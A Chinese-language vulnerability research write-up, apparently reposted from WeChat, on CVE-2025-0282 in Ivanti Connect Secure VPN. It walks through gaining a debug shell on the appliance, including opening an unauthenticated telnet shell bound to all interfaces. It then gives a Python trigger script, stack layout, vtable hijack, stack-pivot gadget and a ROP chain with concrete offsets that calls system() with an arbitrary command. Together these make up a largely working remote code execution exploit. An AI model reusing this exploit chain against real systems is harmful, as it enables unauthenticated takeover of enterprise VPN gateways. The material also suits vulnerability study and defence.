一、漏洞背景
1、概述
CVE-2025-0282 是一个影响 Ivanti 企业 VPN 设备的严重漏洞。该漏洞允许未经身份验证的远程攻击者在受影响的设备上执行任意代码,进而可能完全控制目标系统。Ivanti 已确认该漏洞存在。
2、影响范围
Ivanti Connect Secure 22.7R2 - 22.7R2.4
Ivanti Policy Secure 22.7R1 - 22.7R1.2
Ivanti Neurons for ZTA gateways 22.7R2 - 22.7R2.3
二、调试环境搭建
1、获取shell
本次环境版本为:Ivanti Connect Secure 22.7R2.3
Ivanti Connect Secure 22.7R2.3导入虚拟机后开机,按照界面提示设置IP地址,管理员账号和密码等。
在浏览器中使用HTTPS协议打开配置的IP地址,可以正常显示Web登录界面。
配置成功后,进入命令行界面,可以根据编号进行系统管理,但是无法执行底层Shell命令。根据烽火台实验室
的方法,挂起虚拟机,然后替换内存中的字符串获取到shell。
2、远程管理
为了能够远程管理我们先查看防火墙开通了哪些端口
iptables -L -n
但是获取的shell是一个嵌入式的bash,很多命令都没有,因此决定上传一个busybox方便操作,环境中刚好有python,决定使用python来进行下载busybox。下载的目录最好在tmp目录下新创建一个目录,其他目录没有写的权限。
import urllib
url = "http://192.168.8.17:8000/busybox"
filename = "busybox"
urllib.urlretrieve(url, filename)
有了busybox我们就可以对sh启动一个telnet服务,更方便的操作
./busybox telnetd -l /bin/sh -b 0.0.0.0 -p 8009
3、下载文件
刚开始像使用busybox中ftp做文件管理,发现没有权限,因此决定使用python来进行文件管理。
import BaseHTTPServer
import SimpleHTTPServer
server_address = ('', 11000)
Handler = SimpleHTTPServer.SimpleHTTPRequestHandler
httpd = BaseHTTPServer.HTTPServer(server_address, Handler)
print("Starting server on port 11000...")
httpd.serve_forever()
到这里整体的环境已经差不多了,上传gdbserver就可以进行调试了。
三、触发漏洞
1、魔改openconnect
根据sinsinology
最开始触发漏洞方法,魔改编译openconnect,要编译openconnect首先准备好编译环境
sudo apt install -y
libxml2-dev
zlib1g-dev
openssl
libssl-dev
gnutls-dev
automake
autoconf
pkg-config
libtool
gettext
准备好编译环境之后,我们把openconnect源码下载来。
git clone https://github.com/openconnect/openconnect.git
下载下来之后安装官方的说法需要一个t vpnc-script](https://gitlab.com/openconnect/vpnc-scripts/raw/master/vpnc-script)
接下来就是按照sinsinology
的方法开始修改pulse.c的代码了,修改如下:
if (bytes[0])
buf_append(reqbuf, " clientIp=%s", bytes);
+ buf_append(reqbuf, " clientCapabilities=%s", bytes);
+ for(unsigned int n=0; n<100; n++)
+ buf_append(reqbuf, "AAAAAAAAAAAAAAAA");
buf_append(reqbuf, "\n%c", 0);
ret = send_ift_packet(vpninfo, reqbuf);
一切准备好之后开始编译,使用以下命令开始编译
./autogen.sh
./configure --enable-static=yes --without-openssl --with-vpnc-script=./vpnc-script --without-libproxy --without-lz4
make
2、产生崩溃
使用以下命令发送pulse协议的vpn请求,添加参数--dump-http-traffic -vvv查看详细的信息。
./openconnect 192.168.137.105 --protocol=pulse --dump-http-traffic -vvv
gdbserver开始调试,为了方便使用以下命令调试
./gdbserver13 0.0.0.0:8010 --attach $(netstat -anptl | grep 443 | awk '{print $7}' | cut -d'/' -f1 | grep -v "-")
发送完请求,此时 Ivanti已经发生崩溃
3、漏洞原理
从数据包可以看出漏洞发生在发送在客户端信息阶段,根据
sinsinology
文章可以得知漏洞是因为解析clientCapabilities
字段的时候回一个拷贝的动作,而拷贝的大小是我们发送的clientCapabilities
的大小,但是缓冲区的大小是确定的,因此产生了溢出。其中dest缓冲区的大小为256字节,因此我们
clientCapabilities
的大小超过256字节就会产生溢出。下面我根据openconnect写了一个触发漏洞的脚本,漏洞分析和漏洞利用更加方便一些。
import socket
import ssl
import struct
HOST = "192.168.137.105"
PORT = 443
VENDOR_TCG = 0x5597
IFT_VERSION_REQUEST = 1
VENDOR_JUNIPER = 0xa4c
IFT_CLIENT_AUTH_RESPONSE = 6
def hexdump(data, width=16):
for i in range(0, len(data), width):
chunk = data[i:i + width]
hex_part = ' '.join(f'{b:02X}' for b in chunk)
ascii_part = ''.join(chr(b) if 32 <= b < 127 else '.' for b in chunk)
print(f'{i:08X}{hex_part:<48}{ascii_part}')
def make_ift_hdr(vendor, package_type):
hdr_array = [0] * 4
hdr_array[0] = vendor
hdr_array[1] = package_type
hdr_array[2] = 0 # package length
hdr_array[3] = 0 # ID
return hdr_array
def make_package(hdr_array, package_length, ID, package_data):
package = struct.pack('>I', hdr_array[0])
package += struct.pack('>I', hdr_array[1])
package += struct.pack('>I', package_length)
package += struct.pack('>I', ID)
package += package_data
return package
def send_package(sock, package):
print("n发送>")
hexdump(package)
sock.sendall(package)
res = sock.recv(4096)
print("n接受<")
hexdump(res)
def get_real_local_ip():
try:
# 连接外部地址,不会真正建立连接,但能获取正确的本机 IP
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(("114.114.114.114", 80))
ip = s.getsockname()[0]
s.close()
return ip
except Exception as e:
return f"Error: {e}"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(1)
context = ssl.create_default_context()
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
s = context.wrap_socket(s, server_hostname=HOST)
# 开始进行认证
s.connect((HOST, PORT))
body = "GET / HTTP/1.1rn"
body += f"Host: {HOST}:{PORT}rn"
body += "User-Agent: AnyConnect-compatible OpenConnect VPN Agent v9.12-188-gaebfabb3-dirtyrn"
body += "Content-Type: EAPrn"
body += "Upgrade: IF-T/TLS 1.0rn"
body += "Content-Length: 0rnrn"
print("发送>")
print(body)
s.sendall(body.encode())
line = s.recv(4096).decode()
print("n接受<")
print(line)
# IF-T version request.
ift_hdr_array = make_ift_hdr(VENDOR_TCG, IFT_VERSION_REQUEST)
data = struct.pack('>I', 0x00010202) # Min version 1, max 2, preferred 2
package_data = make_package(ift_hdr_array, len(data) + 16, 0, data)
send_package(s, package_data)
# Client information packet over IF-T/TLS
ift_hdr_array = make_ift_hdr(VENDOR_JUNIPER, 0x88)
data = 'clientHostName=ubuntu '
data += 'clientIp=' + get_real_local_ip()+' '
data += 'clientCapabilities=' + get_real_local_ip() + 'A' * 1600 + 'x0ax00'
package_data = make_package(ift_hdr_array, len(data) + 16, 1, data.encode())
send_package(s, package_data)
# Start by sending an EAP Identity of 'anonymous'
ift_hdr_array = make_ift_hdr(VENDOR_TCG, IFT_CLIENT_AUTH_RESPONSE)
data = b'x00x0ax4cx01' # JUNIPER_1
data += b'x02' # EAP_RESPONSE
data += b'x01' # ident
data += b'x00' # EAP_TYPE_IDENTITY
data += b'x0ex01'
data += b'anonymous'
package_data = make_package(ift_hdr_array, len(data) + 16, 2, data)
send_package(s, package_data)
四、利用漏洞
从漏洞原理上来看这是一个栈溢出,因此我们可能会觉得此漏洞会比较好利用,但是在实际过程中还是会有很多问题。
1、free导致崩溃
栈的布局如下,其中dest是我们要拷贝的缓冲区,缓冲区之后就是一个对象指针,覆盖这个对象指针就是我们上文导致崩溃的原因,后面代码中会释放对象
object_to_be_freed
,当覆盖为0x41414141的时候会导致无效指针释放。+---------------------+
| v18 (int) |
+---------------------+
| v19 (int) |
+---------------------+
| dest[256] | <- 256 bytes
+---------------------+
| object_to_be_freed | <- 4 bytes
+---------------------+
| ptr (void *) |
+---------------------+
| v20 (int) |
+---------------------+
| v21 (int) |
+---------------------+
| v22 (int) |
+---------------------+
| v23 (char) |
+---------------------+
| v24 (char) |
+---------------------+
| v25 (void *) |
+---------------------+
| v26[499] | <- 499 DWORDs (4 bytes each)
+---------------------+
| Return Address |
+---------------------+
| int a1 |
+---------------------+
| IftTlsHeader *a2 |
+---------------------+
因此从理论上讲我们想要覆盖返回地址,必须给
object_to_be_freed
提供一个有效的地址。2、虚表调用
给
object_to_be_freed
提供一个有效的地址无疑是非常困难的,但是山无绝人之路,柳暗花明又一村,在释放对象之前有一个C++对象的方法调用。(*(void(__cdecl **)(int, __int16 *))(*(_DWORD *)a1 + 72))(a1, &v57);
isValid = 1;
EPMessage::~EPMessage((EPMessage *)v56);
DSUtilMemPool::~DSUtilMemPool((DSUtilMemPool *)v61);
return isValid;
a1变量是一个this指针,并且this指针存储在栈上,具体栈布局如下,因此我们只需要一个二级指针覆盖this指针就能劫持控制流了。
从dest缓冲区开始覆盖到this指针的位置需要2288字节,使用A进行填充。
data = 'clientHostName=ubuntu '
data += 'clientIp=' + get_real_local_ip() + ' '
data += 'clientCapabilities='
data += get_real_local_ip().ljust(2288, 'A')
+---------------------+
| v18 (int) |
+---------------------+
| v19 (int) |
+---------------------+
| dest[256] | <- 256 bytes
+---------------------+
| object_to_be_freed | <- 4 bytes
+---------------------+
| ptr (void *) |
+---------------------+
| v20 (int) |
+---------------------+
| v21 (int) |
+---------------------+
| v22 (int) |
+---------------------+
| v23 (char) |
+---------------------+
| v24 (char) |
+---------------------+
| v25 (void *) |
+---------------------+
| v26[499] | <- 499 DWORDs (4 bytes each)
+---------------------+
| Return Address |
+---------------------+
| int a1 | <- this*
+---------------------+
| IftTlsHeader *a2 |
+---------------------+
3、劫持控制流
有了方向之后我们就是构造一个三级指针来覆盖this指针,三级指针的具体构造如下
Memory Layout:
+--------------------------+
| *fake_this Pointer |
+--------------------------+
|
v
+--------------------------+
| fake_vtable Address | <- Points to the vtable
+--------------------------+
|
v
+--------------------------+
| fake vtable |
+--------------------------+
| *gadget_0[0x48] | <- Points to a sequence of x86 instructions
+--------------------------+
|
v
+--------------------------+
| gadget_0[0x48] |
+--------------------------+
= | <- Return to caller
+--------------------------+
有了理论我们先进行测试一下,从下方调试的过程可以看到我们的计划成功了。
ift_hdr_array = make_ift_hdr(VENDOR_JUNIPER, 0x88)
fake_this = 'B' * 4
data = 'clientHostName=ubuntu '
data += 'clientIp=' + get_real_local_ip() + ' '
data += 'clientCapabilities='
data += get_real_local_ip().ljust(2288, 'A') + fake_this
在ROP之前我们还有做一件事情,那就是抬栈,此时距离我们布局的内存还有一段距离,因此我们要找一个抬栈的指令,根据
watchtowr
和Swing
的做法在libdsplibs.so会找到一段合适的指令。.text:0093849C BB F0 FF FF FF mov ebx, 0FFFFFFF0h
.text:009384A1
.text:009384A1 loc_9384A1:
.text:009384A1
.text:009384A1 81 C4 4C 20 00 00 add esp, 204Ch
.text:009384A7 89 D8 mov eax, ebx
.text:009384A9 5B pop ebx
.text:009384AA 5E pop esi
.text:009384AB 5F pop edi
.text:009384AC 5D pop ebp
.text:009384AD C3 retn
有了合适的指令之后我们开始构造this指针,从以上的信息我可以得知gadget要放在虚表偏移十八的位置,因此我用以下方式构造
base + 0x934367 => base + 0x11D88F8 + 0x48 => base + 0x93849C
libdsplibs_base = 0xf64ce000
fake_this_address_va = 0x934367
fake_this = struct.pack('<I', libdsplibs_base + fake_this_address_va)
data = data.encode() + fake_this
有了这些基础接下来我们要确定我们gadget链的地址,用cyclic生成5000字符发送过去。
libdsplibs_base = 0xf64ce000
fake_this_address_va = 0x934367
fake_this = struct.pack('<I', libdsplibs_base + fake_this_address_va)
data = data.encode() + fake_this + b'aaaabaaaca.......'
通过以上的方法可以看到程序在
0x6462616f
位置崩溃,由此得出在偏移2950写gadget。发送以下包得到了确认
libdsplibs_base = 0xf64ce000
fake_this_address_va = 0x934367
fake_this = struct.pack('<I', libdsplibs_base + fake_this_address_va)
data = data.encode() + fake_this + b'B' * 2950 + b'C' * 4
4、ROP时间
在
libdsplibs.so
中刚好有system调用,因此直接在libdsplibs.so
寻找gadget。为了把命令字符串放到栈顶我们采用以下方法和命令,其中
QWERTYUIOPASDFGH
代表要执行的命令。0x00842264 : mov ecx, esp ; ret
0x007e3624 : add ecx, -0x78 ; ret
0x007ac375 : xchg eax, ecx ; ret
fake_this = struct.pack('<I', libdsplibs_base + fake_this_address_va)
gadget = struct.pack('<I', libdsplibs_base + 0x00842264)
gadget += struct.pack('<I', libdsplibs_base + 0x007e3624)
gadget += struct.pack('<I', libdsplibs_base + 0x007ac375)
data = data.encode() + fake_this + b'B' * 2834 + b'QWERTYUIOPASDFGH' + b'C' * 100 + gadget
最后随便找到一个调用system命令的地址即可,我使用以下地址
.text:004F10E4 89 04 24 mov [esp], eax ; command
.text:004F10E7 E8 C4 7F F0 FF call _system
fake_this = struct.pack('<I', libdsplibs_base + fake_this_address_va)
gadget = struct.pack('<I', libdsplibs_base + 0x00842264)
gadget += struct.pack('<I', libdsplibs_base + 0x007e3624)
gadget += struct.pack('<I', libdsplibs_base + 0x007ac375)
gadget += struct.pack('<I', libdsplibs_base + 0x004F10E4)
data = data.encode() + fake_this + b'B' * 2834 + b'QWERTYUIOPASDFGH' + b'C' * 100 + gadget
以下是最终的执行效果图
**注意:**最后此漏洞想要利用的必须要爆破libdsplibs.so的基址,还有就是命令中不能带有空格。
参考链接:
https://mp.weixin.qq.com/s/e6X7GcKq1DaipmfsRqNq2w
https://labs.watchtowr.com/do-secure-by-design-pledges-come-with-stickers-ivanti-connect-secure-rce-cve-2025-0282/
https://www.infradead.org/openconnect/building.html
https://bestwing.me/CVE-2025-0282-Ivanti-Connect-Secure-VPN-stack-overflow.html#fn:2
原文始发于微信公众号(北银京卫军):CVE-2025-0282:Ivanti缓冲区溢出漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论